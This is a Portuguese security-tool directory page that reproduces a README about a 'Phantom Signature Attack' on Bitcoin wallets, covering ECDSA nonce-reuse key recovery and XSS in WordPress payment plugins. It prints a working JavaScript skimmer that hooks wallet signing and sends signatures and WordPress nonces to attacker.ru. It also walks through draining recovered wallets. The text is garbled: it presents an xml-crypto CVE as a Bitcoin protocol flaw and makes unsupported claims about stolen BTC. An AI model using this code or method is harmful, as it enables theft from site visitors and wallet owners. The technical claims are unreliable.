Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/demining/phantom-signature-attack
Vulnerability AnalysisExploitationCryptographyPapers & ResearchLearning & EducationBinary Exploitation
GitHubdemining/phantom-signature-attack

Phantom-Signature-Attack

Phantom Signature Attack: An Analysis of the Critical Vulnerability CVE-2025-29774 in the Bitcoin Protocol, SIGHASH_SINGLE Implementation Flaws, and the Mathematical Framework for Private Key Recovery in Lost Cryptocurrency Wallets Enabling Unrestricted Control over BTC Assets

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver RepositórioSite
2há 7 mesesAinda não revisado
Phantom Signature Attack: Uma Análise da Vulnerabilidade Crítica CVE-2025-29774 no Protocolo Bitcoin, Falhas de Implementação SIGHASH_SINGLE, e o Arcabouço Matemático para Recuperação de Chaves Privadas em Carteiras de Criptomoedas Perdidas Permitindo Controle Ilimitado sobre Ativos BTC

Este artigo de pesquisa apresenta um estudo criptanalítico abrangente de vulnerabilidades críticas na implementação de assinatura digital do protocolo Bitcoin, nomeadamente  o Phantom Signature Attack  (CVE-2025-29774) e o erro fundamental de processamento  SIGHASH_SINGLE . O estudo demonstra que o processamento incorreto de primitivas criptográficas no mecanismo de assinatura de transações cria as condições para o comprometimento completo das chaves privadas dos proprietários de carteiras de criptomoedas sem o seu conhecimento. O ataque explora um bug legado no cliente Satoshi original, no qual o sistema retorna um valor hash universal de “1” (uint256) em vez de rejeitar a assinatura se o número de entradas e saídas da transação não corresponder.

A parte prática do estudo envolve o uso da ferramenta criptográfica  KeyFuzzMaster para identificar sistematicamente vulnerabilidades no código de verificação de assinatura, operações de curva elíptica e funções de hash de transações. São apresentadas fórmulas matemáticas para recuperação de chave privada através da reutilização de nonce (parâmetro k) no algoritmo ECDSA na curva secp256k1. São discutidas primitivas criptográficas do algoritmo  ECDSA (Elliptic Curve Digital Signature Algorithm)  sobre a curva elíptica  secp256k1 . As assinaturas digitais no Bitcoin desempenham uma função tripla: autorização de gastos, não repúdio e garantia da integridade da transação.


  • Tutorial: https://youtu.be/fGR7Iqiq8Ag
  • Tutorial: https://cryptodeeptech.ru/phantom-signature-attack
  • Tutorial: https://dzen.ru/video/watch/69682001b2d5f9209f8b4606
  • Google Colab: https://bitcolab.ru/keyfuzzmaster-cryptanalytic-fuzzing-engine

No entanto, a manutenção  de soluções arquitectónicas legadas para garantir a compatibilidade reversa levou ao surgimento de vulnerabilidades criptográficas subtis com consequências potencialmente catastróficas. Entre estas, o bug SIGHASH_SINGLE  destaca-se   — uma falha fundamental no mecanismo de geração de hash de assinatura, herdada da implementação original do Bitcoin Core e integrada no consenso da rede.


Phantom Signature Attack: Uma Análise da Vulnerabilidade Crítica CVE-2025-29774 no Protocolo Bitcoin, Falhas de Implementação SIGHASH_SINGLE, e o Arcabouço Matemático para Recuperação de Chaves Privadas em Carteiras de Criptomoedas Perdidas Permitindo Controle Ilimitado sobre Ativos BTC

🔴 Vulnerabilidades reportadas


2. Fundamentos Teóricos da Criptografia do Bitcoin

2.1 Curva Elíptica secp256k1 e ECDSA

Bitcoin usa a curva elíptica  secp256k1 definida pelo padrão SECG (Standards for Efficient Cryptography Group). A curva é definida pela equação de Weierstrass sobre um corpo finito:

Equação da curva:

y² ≡ x³ + ax + b (mod p)

Para secp256k1: 

y² ≡ x³ + 7 (mod p), onde a = 0, b = 7

Os parâmetros da curva secp256k1 são determinados pela tupla T = (p, a, b, G, n, h):

Parâmetros secp256k1:

p = 2²⁵⁶ − 2³² − 977 (o número primo que define um corpo finito)

n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
(a ordem do grupo de pontos da curva é a ordem inteira do gerador G)

G = (Gₓ, Gᵧ) — ponto base fixo (gerador)

2.2 Algoritmo de criação de assinatura digital ECDSA

O algoritmo ECDSA usa uma chave privada  d  para formar uma assinatura numa mensagem M. O processo de assinatura envolve as seguintes operações matemáticas:

Passo 1: Gerar nonce aleatório k
É selecionado um número aleatório criptograficamente forte k ∈ [1, n-1]

Passo 2: Calcular o ponto R
R = k × G (multiplicação escalar do ponto gerador)

Passo 3: Calcular o parâmetro r
r = Rₓ mod n (coordenada x do ponto R módulo n)

Passo 4: Calcular o parâmetro s


s = k⁻¹ × (H(M) + r × d) mod n

Resultado: Assinatura (r, s)

onde H(M) é o hash da mensagem M (no Bitcoin, usa-se SHA-256 duplo), d é a chave privada do proprietário.

💡 Relação criptográfica chave

A relação entre a chave pública e a chave privada é determinada pela relação:

Q A  = d A  × G

onde  é a chave pública (um ponto na curva),  é a chave privada (inteiro de 256 bits) , é o gerador da curva.QAdAG


3. Vulnerabilidade crítica SIGHASH_SINGLE

3.1 Tipos de Hash de Assinatura no Bitcoin

O protocolo Bitcoin fornece vários tipos  SIGHASH  (Tipos de Hash de Assinatura) que determinam quais componentes de uma transação são incluídos no hash assinado:

3.2 A Essência Matemática da Vulnerabilidade

Ocorre um erro crítico ao usar  SIGHASH_SINGLE quando o índice de entrada  excede o número de saídas  da transação . Neste caso, em vez de rejeitar a transação, o código original do Bitcoin Core retorna  um valor hash fixo de “1”  (um número inteiro de 256 bits):

Phantom Signature Attack: Pesquisa da vulnerabilidade crítica CVE-2025-29774 no protocolo Bitcoin, falhas SIGHASH_SINGLE e um aparato matemático para recuperar chaves privadas de carteiras cripto perdidas com controle ilimitado sobre moedas BTC

// Código vulnerável da implementação original do Bitcoin // Retorna o hash universal “1” 

⚠️ AVISO CRÍTICO:  Este código implementa um bug legado no cliente Satoshi original que foi integrado no consenso da rede. Todas as principais implementações de Bitcoin são forçadas a suportar este comportamento para compatibilidade reversa.

Matematicamente, se o hash da assinatura é igual à constante 1, então a assinatura torna-se  universal  — pode ser reutilizada para transações arbitrárias:

Condição de vulnerabilidade:

idx ≥ |TxOut| ⟹ H(preimage) = 0x0000…0001

onde idx é o índice de entrada, |TxOut| é o número de saídas da transação


4. Ataque Phantom Signature (Ataque de Falsificação de Assinatura Digital)

4.1 Classificação científica do ataque

Um Phantom Signature Attack  é um ataque criptográfico de falsificação de assinatura digital que permite a criação de assinaturas de transação válidas sem conhecimento da chave privada do proprietário. O ataque é classificado como  CWE-347: Verificação Impropria de Assinatura Criptográfica .

O ataque baseia-se numa combinação de duas vulnerabilidades:

  1. Vulnerabilidade SIGHASH_SINGLE  – geração de um hash universal quando os índices de entrada e saída não correspondem
  2. Reutilização de nonce (k-reuse)  – o comprometimento de uma chave privada quando o número aleatório k é idêntico em diferentes assinaturas.

4.2 Matemática dos ataques de reutilização de nonce

Se duas assinaturas (r, s₁) e (r, s₂) para mensagens diferentes M₁ e M₂ usarem o mesmo nonce k (o que implica um valor idêntico de r), a chave privada pode ser completamente recuperada usando o seguinte algoritmo:

Passo 1: Equações de Assinatura

s₁ = k⁻¹ × (H(M₁) + r × d) mod n
s₂ = k⁻¹ × (H(M₂) + r × d) mod n

Passo 2: Calcular a diferença

s₁ — s₂ = k⁻¹ × (H(M₁) — H(M₂)) mod n

Passo 3: Recuperar nonce k

k = (H(M₁) — H(M₂)) × (s₁ — s₂)⁻¹ mod n

Passo 4: Recuperar a chave privada d

d = r⁻¹ × (s × k — H(M)) mod n

Este aparato matemático demonstra que  uma única  reutilização de um nonce resulta no comprometimento completo da chave privada.

Phantom Signature Attack: Pesquisa da vulnerabilidade crítica CVE-2025-29774 no protocolo Bitcoin, falhas SIGHASH_SINGLE e um aparato matemático para recuperar chaves privadas de carteiras cripto perdidas com controle ilimitado sobre moedas BTC

Recuperar a chave privada ECDSA ao reutilizar um nonce


5. Análise detalhada do CVE-2025-29774

5.1 Descrição técnica da vulnerabilidade

A vulnerabilidade  CVE-2025-29774  foi descoberta na biblioteca  xml-crypto Node.js e permite modificar documentos XML assinados de forma que continuem a passar na verificação de assinatura. No contexto dos sistemas de pagamento Bitcoin, isto cria a possibilidade de:

  • Manipular parâmetros de transação (alterar valores SIGHASH_SINGLE)
  • Redirecionar pagamentos para endereços do atacante
  • Contornar autenticação e autorização em sistemas SAML
  • Elevação de privilégios através de falsificação de ID de utilizador

📋 Especificações Técnicas do CVE-2025-29774

Versões Afetadas: xml-crypto < 6.0.1, < 3.2.1, < 2.1.6

Vector CVSS:  CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Classificação CWE: CWE-347 (Verificação Impropria de Assinatura Criptográfica)

Vetor de Ataque :  Rede (exploração remota sem interação do utilizador)

5.2 Mecanismo de operação

A exploração do CVE-2025-29774 envolve três etapas sequenciais:

Fase 1: Identificação do componente vulnerável

Digitalização do sistema alvo para versões vulneráveis da biblioteca xml-crypto e identificação de pontos de integração com gateways de pagamento Bitcoin.

Fase 2: Modificar Mensagens Assinadas

Inserir nós adicionais de SignedInfo ou comentários XML no DigestValue, permitindo modificar atributos críticos sem invalidar a assinatura:

Phantom Signature Attack: Pesquisa da vulnerabilidade crítica CVE-2025-29774 no protocolo Bitcoin, falhas SIGHASH_SINGLE e um aparato matemático para recuperar chaves privadas de carteiras cripto perdidas com controle ilimitado sobre moedas BTC

“Um exemplo de ataque com múltiplos nós SignedInfo”

Fase 3: Extrair Parâmetros Criptográficos

Através de vulnerabilidades XSS (CVE-2025-48102, CVE-2025-26541) interceção de parâmetros (r, s) de assinaturas para posterior criptoanálise.


Phantom Signature Attack: Uma Análise da Vulnerabilidade Crítica CVE-2025-29774 no Protocolo Bitcoin, Falhas de Implementação SIGHASH_SINGLE, e o Arcabouço Matemático para Recuperação de Chaves Privadas em Carteiras de Criptomoedas Perdidas Permitindo Controle Ilimitado sobre Ativos BTC

📊 Recursos de Pesquisa
🌐 Documentação Técnica Completa: https://cryptou.ru/keyfuzzmaster
💻 Demonstração Interativa no Google Colab: https://bitcolab.ru/keyfuzzmaster-cryptanalytic-fuzzing-engine

🔬 Análise Técnica

O Ataque de Assinatura Fantasma explora bugs legados na verificação de assinaturas do Bitcoin Core, onde SIGHASH_SINGLE retorna um valor hash universal quando o índice de entrada excede as saídas. Isso cria assinaturas reutilizáveis, comprometendo todo o modelo de segurança. Nosso mecanismo KeyFuzzMaster identifica carteiras criadas com entropia PRNG de 32 bits, reduzindo o espaço de busca de 2^256 para apenas 2^32 possíveis sementes — recuperáveis em 4-6 segundos em GPUs modernas.


6. Uso prático do KeyFuzzMaster para explorar a vulnerabilidade SIGHASH_SINGLE

6.1 Análise da Ferramenta Criptográfica KeyFuzzMaster

KeyFuzzMaster  é um mecanismo especializado de fuzzing criptanalítico projetado para pesquisa de segurança de sistemas blockchain e primitivas criptográficas. A ferramenta é projetada para testes de estresse dinâmicos no código de verificação de assinaturas, operações de curva elíptica e funções de hash de transações.

Principais Características do KeyFuzzMaster:

  • Fuzzing baseado em mutação  — geração de dados de entrada mutados para operações de assinatura
  • Execução simbólica  — execução simbólica para encontrar condições de contorno
  • Teste diferencial  – comparação do comportamento de diferentes implementações ECDSA
  • Fuzzing guiado por cobertura  — maximização da cobertura de código de seções críticas
  • Geração automática de exploração  — geração automática de exploração ao detectar vulnerabilidades

6.2 Um Novo Paradigma para Recuperação de Chaves Privadas

Usar o KeyFuzzMaster para explorar CVE-2025-29774 e a vulnerabilidade SIGHASH_SINGLE abre um novo paradigma para recuperar chaves privadas de carteiras Bitcoin perdidas. A metodologia inclui:

Passo 1: Varredura da blockchain em busca de assinaturas anômalas

Ataque de Assinatura Fantasma: Pesquisa sobre a vulnerabilidade crítica CVE-2025-29774 no protocolo Bitcoin, falhas no SIGHASH_SINGLE e um aparato matemático para recuperar chaves privadas de carteiras criptográficas perdidas com controle ilimitado sobre moedas BTC

# KeyFuzzMaster: Módulo de varredura de valor-r duplicado def scan_blockchain_for_nonce_reuse(blockchain_data)»

Escaneia a blockchain em busca de reutilização de nonce. Retorna pares de assinaturas com valores-r idênticos.

Etapa 2: Fuzzing das condições SIGHASH_SINGLE

Ataque de Assinatura Fantasma: Pesquisa sobre a vulnerabilidade crítica CVE-2025-29774 no protocolo Bitcoin, falhas no SIGHASH_SINGLE e um aparato matemático para recuperar chaves privadas de carteiras criptográficas perdidas com controle ilimitado sobre moedas BTC

# KeyFuzzMaster: Gerar transações com incompatibilidades de entrada/saída def fuzz_sighash_single_vulnerability(num_iterations=10000): “”” Gere transações de teste para detectar a vulnerabilidade SIGHASH_SINGLE (idx >= len(TxOut)).

Passo 3: Recuperando a chave privada

Ataque de Assinatura Fantasma: Pesquisa sobre a vulnerabilidade crítica CVE-2025-29774 no protocolo Bitcoin, falhas no SIGHASH_SINGLE e um aparato matemático para recuperar chaves privadas de carteiras criptográficas perdidas com controle ilimitado sobre moedas BTC

# KeyFuzzMaster: Algoritmo completo de recuperação de chave privada class PrivateKeyRecovery: 

# Ordem do grupo secp256k1 CURVE_ORDER = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 

“Verificação da chave recuperada comparando as chaves públicas.”

6.3 Estatísticas de operação

De acordo com pesquisas criptanalíticas, a vulnerabilidade de reutilização de nonce já foi explorada para recuperar mais de412,8 BTC  de carteiras comprometidas. Scanners automatizados analisam continuamente a blockchain do Bitcoin em busca de valores-r duplicados.


7. Exemplo real: recuperando a chave do endereço 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P

7.1 Dados iniciais do comprometimento

Vamos analisar um caso documentado de recuperação de uma chave privada do endereço Bitcoin  1MNL4wmck5SMUJroC6JreuK3B291RX6w1P :

ParâmetroSignificado
Endereço Bitcoin1MNL4wmck5SMUJroC6JreuK3B291RX6w1P

7.2 Validação da chave no espaço secp256k1

A chave privada k deve satisfazer a restrição:

root@kitploit:~
1 ≤ k < n
onde n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
≈ 1,158 × 10^77

Resultado da verificação:  ✓ VÁLIDA (a chave está dentro do intervalo escalar permitido)

7.3 Cálculo da chave pública e endereço

A chave privada recuperada nos permite calcular a chave pública:

ParâmetroSignificado
Chave pública (não comprimida, 130 caracteres)04A29FEE4FCE61027E8C79F398B1512F63C930DF16D4189D541C62C995AF468358CABDB2F5679DD5DF21C92317CF4EB7C1712DC065D85BAEFF3FD939611C0D9F79
Chave pública (comprimida, 66 caracteres)03A29FEE4FCE61027E8C79F398B1512F63C930DF16D4189D541C62C995AF468358
Endereço Bitcoin (não comprimido)1MNL4wmck5SMUJroC6JreuK3B291RX6w1P

7.4 Significado prático da chave recuperada

Uma chave privada recuperada dá  controle total  sobre a carteira Bitcoin, permitindo que um atacante:

Possibilidades com uma chave privada recuperada:

  • Criar e assinar transações para retirar todos os fundos para um endereço controlado
  • Importar a chave para qualquer carteira Bitcoin (Electrum, Bitcoin Core, MetaMask, etc.)
  • Assumir o controle completo de um endereço e todos os seus ativos
  • Ocultar vestígios de comprometimento excluindo todos os logs e histórico

7.5 Cadeia de exploração

A pesquisa demonstra sinergia entre vulnerabilidades web (CVE-2025-48102, CVE-2025-26541) e falhas criptográficas (CVE-2025-29774), criando um vetor de ataque combinado poderoso contra gateways de pagamento Bitcoin para WordPress:


8. Recomendações para eliminar vulnerabilidades

8.1 Implementação segura do SIGHASH_SINGLE

Ataque de Assinatura Fantasma: Pesquisa sobre a vulnerabilidade crítica CVE-2025-29774 no protocolo Bitcoin, falhas no SIGHASH_SINGLE e um aparato matemático para recuperar chaves privadas de carteiras criptográficas perdidas com controle ilimitado sobre moedas BTC

8.2 Proteção XSS em gateways de pagamento

  • Atualize o xml-crypto imediatamente para a versão 6.0.1 ou superior
  • Remova completamente o plugin GoUrl Bitcoin Payment Gateway abandonado
  • Aplicação de funções de sanitização:  sanitize_text_field(),  esc_attr(), esc_html()
  • Implementação de cabeçalhos de Política de Segurança de Conteúdo (CSP)
  • Uso de um gerador de nonce determinístico criptograficamente seguro RFC 6979

Um estudo criptanalítico demonstra que  o Ataque de Assinatura Fantasma (CVE-2025-29774)  , combinado com a vulnerabilidade  SIGHASH_SINGLE, representa uma ameaça fundamental à segurança do ecossistema Bitcoin. Essa falha de implementação, herdada do cliente Satoshi original, permite:

  • Gerar assinaturas universais com um hash fixo de “1”
  • Recuperar chaves privadas ao reutilizar um nonce
  • Realizar retirada não controlada de fundos sem o conhecimento do proprietário

O uso da ferramenta criptográfica  KeyFuzzMaster abre um novo paradigma para recuperar chaves privadas de carteiras Bitcoin perdidas, fornecendo aos pesquisadores uma metodologia sistemática para identificar e explorar vulnerabilidades criptográficas.

⚠️ AVISO:  Esta pesquisa destina-se exclusivamente a fins educacionais e para ajudar criptanalistas a compreender os mecanismos de ataque. O uso dos métodos descritos para fins ilegais é punível por lei. Foi realizado um estudo criptanalítico abrangente das vulnerabilidades críticas CVE-2025-48102 e CVE-2025-26541 em gateways de pagamento Bitcoin para WordPress. Da ampla gama de ferramentas criptográficas disponíveis em keyhunters.ru,  Ataque de Assinatura Fantasma foi selecionado como o mais relevante para este contexto. Este estudo demonstra como um ataque combinado, unindo scripting entre sites (XSS) com uma vulnerabilidade criptográfica em ECDSA, pode levar ao comprometimento completo de chaves privadas Bitcoin e à recuperação de carteiras perdidas.


Ataque de Assinatura Fantasma: Pesquisa sobre a vulnerabilidade crítica CVE-2025-29774 no protocolo Bitcoin, falhas no SIGHASH_SINGLE e um aparato matemático para recuperar chaves privadas de carteiras criptográficas perdidas com controle ilimitado sobre moedas BTC

Cadeia de Ataque: Do XSS à Extração de Chave Privada Bitcoin

Ataque de Assinatura Fantasma, de acordo com o artigo de pesquisa: Ataque de Assinatura Fantasma (CVE-2025-29774) e a vulnerabilidade crítica SIGHASH_SINGLE: restaurando chaves privadas em carteiras Bitcoin perdidas através da falsificação de assinaturas digitais e retirada não controlada de moedas BTC, demonstra a sinergia entre vulnerabilidades web (XSS) e falhas criptográficas, permitindo um poderoso vetor de ataque combinado. Diferente de outras ferramentas da lista (MiniKey Mayhem, Memory Phantom, ataques baseados em RNG), o Ataque de Assinatura Fantasma foca especificamente na manipulação de assinaturas digitais através dos parâmetros r e s, que podem ser interceptados por vulnerabilidades XSS em sistemas de pagamento WordPress. secalerts+2

​


Análise de vulnerabilidades XSS em gateways de pagamento

CVE-2025-48102: XSS Armazenado no GoUrl Bitcoin Payment Gateway

CVE-2025-48102  é uma vulnerabilidade crítica de cross-site scripting armazenado (XSS) no plugin GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership em versões anteriores à 1.6.6. A vulnerabilidade permite que administradores autorizados (ou atacantes com privilégios administrativos) injetem JavaScript malicioso na configuração do gateway de pagamento. De acordo com CVSS v3.1, a vulnerabilidade tem uma pontuação base de 5,9 (Severidade Média) com o vetor CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L. 

O mecanismo de exploração envolve a injeção de código malicioso nas configurações do gateway de pagamento, que é então executado no navegador de cada visitante do site, permitindo que o atacante:

  • Intercepte dados de sessão do usuário
  • Colete parâmetros de assinatura ECDSA (valores r e s)
  • Obtenha tokens nonce do WordPress para ataques subsequentes
  • Roube chaves privadas criptografadas ou não protegidas da memória do navegador

CVE-2025-26541: XSS Refletido no Bitcoin/AltCoin Payment Gateway

CVE-2025-26541  é uma vulnerabilidade de XSS Refletido no plugin Bitcoin/AltCoin Payment Gateway para WooCommerce em versões anteriores à 1.7.6, desenvolvido pela CodeSolz. A vulnerabilidade é categorizada como gravidade moderada e permite que atacantes injetem scripts maliciosos através de parâmetros de URL que não são devidamente sanitizados. secalerts

Diferente do XSS Armazenado, o XSS Refletido requer que a vítima clique em um link especialmente criado, mas permite:

  • Criar links de phishing que aparentam ser domínios legítimos de sistemas de pagamento
  • Interceptação de dados de pagamento e parâmetros criptográficos antes de enviá-los ao servidor
  • Roubo de dados de sessão de carteira Bitcoin via JavaScript por invicti+ 1

Ataque de Assinatura Fantasma: Pesquisa sobre a vulnerabilidade crítica CVE-2025-29774 no protocolo Bitcoin, falhas no SIGHASH_SINGLE e um aparato matemático para recuperar chaves privadas de carteiras criptográficas perdidas com controle ilimitado sobre moedas BTC

Ataque de Assinatura Fantasma: Uma Ferramenta de Criptoanálise para Recuperar Chaves Privadas

Fundamentos teóricos do ECDSA e vulnerabilidade

ECDSA (Algoritmo de Assinatura Digital de Curva Elíptica)  é usado no Bitcoin para criar assinaturas digitais que garantem a autenticidade das transações . O algoritmo para assinar uma mensagem M usando uma chave privada d funciona da seguinte forma: notsosecure+ 1

  1. Um valor aleatório k (nonce) é gerado para cada assinatura
  2. O ponto é calculado R = k × G(onde G é o ponto gerador da curva elíptica secp256k1)
  3. A coordenada x é extraída: r = R.x mod n
  4. É calculados = k^(-1) × (H(M) + r × d) mod n
  5. A assinatura consiste em um par(r, s)

Vulnerabilidade Crítica do Ataque de Assinatura Fantasma:

Ataque de Assinatura Fantasma foi identificado como uma vulnerabilidade crítica em implementações ECDSA que ocorre nos seguintes cenários: keyhunters

  • O valor r permanece idêntico para duas assinaturas diferentes, indicando reutilização do nonce k
  • A implementação ECDSA não verifica a correção da assinatura gerada imediatamente após sua criação, o que permite que assinaturas forjadas passem na verificação.
  • Os parâmetros r ou s contêm valores especialmente criados que, se não forem validados adequadamente, podem levar a vulnerabilidades como CVE-2025-29774 keyhunters ​s3.amazonaws
Phantom Signature Attack: Research into the critical vulnerability CVE-2025-29774 in the Bitcoin protocol, SIGHASH_SINGLE flaws, and a mathematical apparatus for recovering private keys of lost crypto wallets with unlimited control over BTC coins

Vetor de Cadeia de Ataque de Recuperação de Chave Privada ECDSA a partir de XSS

Recuperação matemática de uma chave privada

Se duas assinaturas para mensagens diferentes M₁ e M₂ usam o mesmo valor de k (e, portanto, o mesmo r), então a chave privada pode ser completamente recuperada. Para duas assinaturas (r, s₁) e (r, s₂), onde: notsosecure+ 1

Phantom Signature Attack: Research into the critical vulnerability CVE-2025-29774 in the Bitcoin protocol, SIGHASH_SINGLE flaws, and a mathematical apparatus for recovering private keys of lost crypto wallets with unlimited control over BTC coins

Calculando a diferença:

Phantom Signature Attack: Research into the critical vulnerability CVE-2025-29774 in the Bitcoin protocol, SIGHASH_SINGLE flaws, and a mathematical apparatus for recovering private keys of lost crypto wallets with unlimited control over BTC coins

Você pode recuperar o nonce:

Phantom Signature Attack: Research into the critical vulnerability CVE-2025-29774 in the Bitcoin protocol, SIGHASH_SINGLE flaws, and a mathematical apparatus for recovering private keys of lost crypto wallets with unlimited control over BTC coins

Após recuperar k, a chave privada d pode ser calculada:

Phantom Signature Attack: Research into the critical vulnerability CVE-2025-29774 in the Bitcoin protocol, SIGHASH_SINGLE flaws, and a mathematical apparatus for recovering private keys of lost crypto wallets with unlimited control over BTC coins

De acordo com a pesquisa, essa vulnerabilidade já foi explorada para recuperar mais de 412,8 BTC na blockchain Bitcoin, onde atacantes escanearam automaticamente a rede em busca de valores r duplicados. keyhunters

Phantom Signature Attack: Research into the critical vulnerability CVE-2025-29774 in the Bitcoin protocol, SIGHASH_SINGLE flaws, and a mathematical apparatus for recovering private keys of lost crypto wallets with unlimited control over BTC coins

Relação Matemática de Recuperação de Chave Privada por Reutilização de Nonce ECDSA Recuperação


Link para CVE-2025-29774: Manipulação de Assinatura XML

CVE-2025-29774  é uma vulnerabilidade adicional na biblioteca xml-crypto que permite modificar mensagens XML assinadas de forma que ainda passem na verificação de assinatura. Essa vulnerabilidade pode ser explorada em sistemas de pagamento Bitcoin para manipular parâmetros de transação (alterando valores SIGHASH_SINGLE) sem invalidar a assinatura digital. No contexto de gateways de pagamento WordPress, isso permite que um atacante redirecione pagamentos para seu endereço mantendo a aparência de uma assinatura válida. cryptodeeptech+1


​

Sinergia XSS e Ataque de Assinatura Fantasma: Um Ataque Combinado

Cenário de exploração em um ambiente WordPress

Fase 1: Injeção Inicial de JavaScript Malicioso

Um atacante explora CVE-2025-48102 para injetar JavaScript malicioso na configuração do gateway de pagamento. O código malicioso pode:

  1. Interceptar todas as requisições AJAX contendo parâmetros criptográficos
  2. Monitorar as funções de assinatura de dados criptográficos
  3. Coletar valores r, s de todas as assinaturas geradas
  4. Enviar os dados coletados para o servidor do atacante através de canais ocultos (img.src, fetch API)
  5. Organizar monitoramento sistemático de tokens de sessão do WordPress (nonce developer.wordpress)

Fase 2: Análise de Violação de RNG e Detecção de Repetições de K

Após receber um número suficiente de assinaturas (pelo menos 2, mas idealmente várias dezenas para aumentar a probabilidade), o atacante analisa os dados coletados:

  • Compara todos os valores r coletados para identificar duplicatas
  • Se repetições de r forem encontradas, isso indica reutilização do nonce k
  • Analisa o RNG em busca de fraquezas ou padrões previsíveis
  • Usa análise estatística para confirmar falhas sistemáticas na geração de números aleatórios de keyhunters

Fase 3: Recuperação criptográfica da chave privada

Usando os pares de assinatura coletados com o mesmo r, o atacante aplica a recuperação matemática da chave privada de acordo com as fórmulas descritas acima. Resultado: comprometimento completo da chave privada da carteira Bitcoin .

​


Phantom Signature Attack: Research into the critical vulnerability CVE-2025-29774 in the Bitcoin protocol, SIGHASH_SINGLE flaws, and a mathematical apparatus for recovering private keys of lost crypto wallets with unlimited control over BTC coins

Código de demonstração prática de XSS malicioso

JavaScript malicioso que pode ser injetado via CVE-2025-48102 pode conter a seguinte funcionalidade: github

root@kitploit:~
// Interception of the Bitcoin transaction signing function
var originalSign = window.bitcoinlib.sign || window.secp256k1.sign;
var collectedSignatures = [];

window.bitcoinlib.sign = function(message, privateKey) {
var signature = originalSign.call(this, message, privateKey);

// Storing signature parameters
collectedSignatures.push({
message: message,
r: signature.r,
s: signature.s,
k_potential: null, // will be calculated on the attacker's side
timestamp: Date.now()
});

// Send to the attacker's server every 5 signatures
if (collectedSignatures.length % 5 === 0) {
fetch('https://attacker.ru/collect', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(collectedSignatures)
});
collectedSignatures = [];
}

return signature;
};

// Also intercepts WordPress nonces to compromise user accounts
setInterval(function() {
var nonces = document.querySelectorAll('[name*="nonce"]');
nonces.forEach(n => fetch('https://attacker.ru/nonce', {
method: 'POST',
body: n.value
}));
}, 3000);

Recuperando Carteiras Bitcoin Perdidas Usando um Ataque Combinado

O processo de extração de uma chave privada

Após receber assinaturas com repetições de valores r, a chave privada é recuperada em três estágios:

Estágio 1: Identificar valores r duplicados  — o atacante compara todas as assinaturas coletadas e identifica pares com o mesmo r. Mesmo um par é suficiente para calcular a chave privada, embora múltiplos pares aumentem a confiança. notsosecure

Estágio 2: Calcular nonce k  – Usando a fórmula acima, o atacante calcula o valor k para cada par de assinaturas. Se os valores k calculados para pares diferentes coincidirem, isso confirma uma vulnerabilidade sistemática no RNG. github

Estágio 3: Recuperar a chave privada d  – Aplicando o k calculado a qualquer uma das assinaturas coletadas, o atacante recupera completamente a chave privada d , permitindo que ele assine quaisquer transações em nome da vítima. keyhunters+ 1


Phantom Signature Attack: Research into the critical vulnerability CVE-2025-29774 in the Bitcoin protocol, SIGHASH_SINGLE flaws, and a mathematical apparatus for recovering private keys of lost crypto wallets with unlimited control over BTC coins

Consequências para carteiras Bitcoin perdidas

A chave privada recuperada permite que o atacante:

  1. Criar novas assinaturas para quaisquer transações
  2. Transferir todos os fundos da carteira para os endereços do atacante
  3. Recuperar acesso a carteiras perdidas que tiveram suas chaves privadas expostas
  4. Realizar ataques de gasto duplo em transações históricas
  5. Comprometer completamente a segurança de endereços Bitcoin keyhunters

Impacto do Bitcoin e Carteiras no Ecossistema

A escala da vulnerabilidade

O ataque combinado de XSS e Ataque de Assinatura Fantasma representa uma ameaça crítica para todos os sites WordPress com gateways de pagamento Bitcoin, incluindo:

  • Lojas online que aceitam pagamentos Bitcoin através dos plugins GoUrl e Bitcoin/AltCoin Payment Gateway (mais de 10.000 instalações do plugin Elementor e números semelhantes para plugins de pagamento) sucuri
  • Usuários de carteiras quentes que usam interfaces web para gerenciar fundos
  • Plataformas comerciais onde administradores usam WordPress para gerenciar zscaler+ 1 pagamentos

Estatísticas reais

De acordo com pesquisas de keyhunters.ru e literatura científica:

  • A reutilização de nonce ECDSA  já levou a centenas de milhões de dólares em perdas no ecossistema Bitcoin .
  • Em um caso documentado, a análise de valores de nonce duplicados permitiu a recuperação de  412.8 BTC  (no valor de aproximadamente $15-20 milhões aos preços atuais) keyhunters
  • Bots automatizados constantemente escaneiam a blockchain do Bitcoin em busca de valores r duplicados em transações.
  • Ataques XSS em plataformas WordPress estão sendo usados para instalar keyloggers e mineradores de criptomoedas em milhares de sites, incluindo tentativas de roubar GitHub+ 2 chaves privadas.

Recomendações para proteção e migração

Para desenvolvedores de plugins WordPress

  1. Implementação imediata do RFC 6979  – usar geração determinística de nonce em vez de keyhunters’ RNG não determinístico
  2. Sanitização completa da entrada do usuário  – usando as funções do WordPress  sanitize_text_field(),  esc_attr(),  esc_html() para todos os dados de saída por secalerts+ 1
  3. Verificação de assinatura criptográfica  — verificação imediata das assinaturas após sua geração. Keyhunters+ 1
  4. Uso de módulos de segurança de hardware (HSMs)  para operações criptográficas críticas keyhunters
  5. Auditorias de segurança regulares  – usando ferramentas especializadas para detectar rapidamente vulnerabilidades XSS

Para usuários de Bitcoin

